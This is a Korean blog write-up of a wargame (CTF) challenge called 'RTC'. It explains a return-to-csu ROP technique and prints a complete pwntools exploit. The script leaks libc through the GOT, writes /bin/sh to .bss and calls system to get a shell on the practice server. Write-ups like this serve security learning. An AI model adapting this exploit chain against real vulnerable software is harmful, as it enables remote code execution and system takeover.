본문 바로가기

RTC 본문

보안/워게임

RTC

Seongjun_You 2021. 12. 16. 21:15

이번에도 rop문제인데 가젯이 없다.

 

하나밖에 없다.

 

 

csu내부에 있는 함수를 이용하도록 한다.

 

rdx, rsi, rdi가 있기에 사용할 수 있다.

loc_4006b6에서 레지스터들의 값을 읽고

loc_4006a0에서 rdx rsi rdi로 옮긴다.

 

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3025)
context.log_level = "Debug"
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
pr = 0x4006c3
csu_2 = 0x4006a0
csu_1 = 0x4006ba
bss = 0x601048
binsh = "/bin/sh\x00"

payload = "A"*72
payload += p64(csu_1)
payload += p64(0)   #rbx
payload += p64(1)   #rbp
payload += p64(elf.got['read'])  #r12  -> call
payload += p64(8)   #r13  -> rdx
payload += p64(bss) #r14  -> rsi
payload += p64(0)   #r15  -> edi
payload += p64(csu_2)

payload += p64(0)  # rsp + 8
payload += p64(0)  # rbx
payload += p64(1)  # rbp
payload += p64(elf.got['write'])  # r12 -> call
payload += p64(8)  # r13 -> rdx
payload += p64(elf.got['read'])  # r14 -> rsi
payload += p64(1)  # r15 -> edi
payload += p64(csu_2)

payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(elf.symbols['main'])


p.sendline(payload)
time.sleep(1)
p.send(binsh)
time.sleep(1)
p.recvuntil("\n")
read_addr = u64(p.recv(6)+"\x00\x00")
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']

payload = "A"*72
payload += p64(pr)
payload += p64(bss)
payload += p64(system)
time.sleep(1)
p.sendline(payload)
p.interactive()

처음 bss영역에 /bin/sh을 써준다.

그다음 rsp+8코드를 실행하니 더미를 하나 더 추가해준다.

read의 실제주소를 leak한다.

main함수로 return 해주고 system함수를 실행한다.

 

rbx는 조건문을 통과하기 위해 0으로 해준다.

 

 

 

 

'보안 > 워게임' 카테고리의 다른 글

World Best Encryption Tool  (0) 2021.12.16
Register  (0) 2021.12.16
SysROP  (0) 2021.12.16
Unexploitable #1  (0) 2021.12.16
You are silver  (0) 2021.12.16
Comments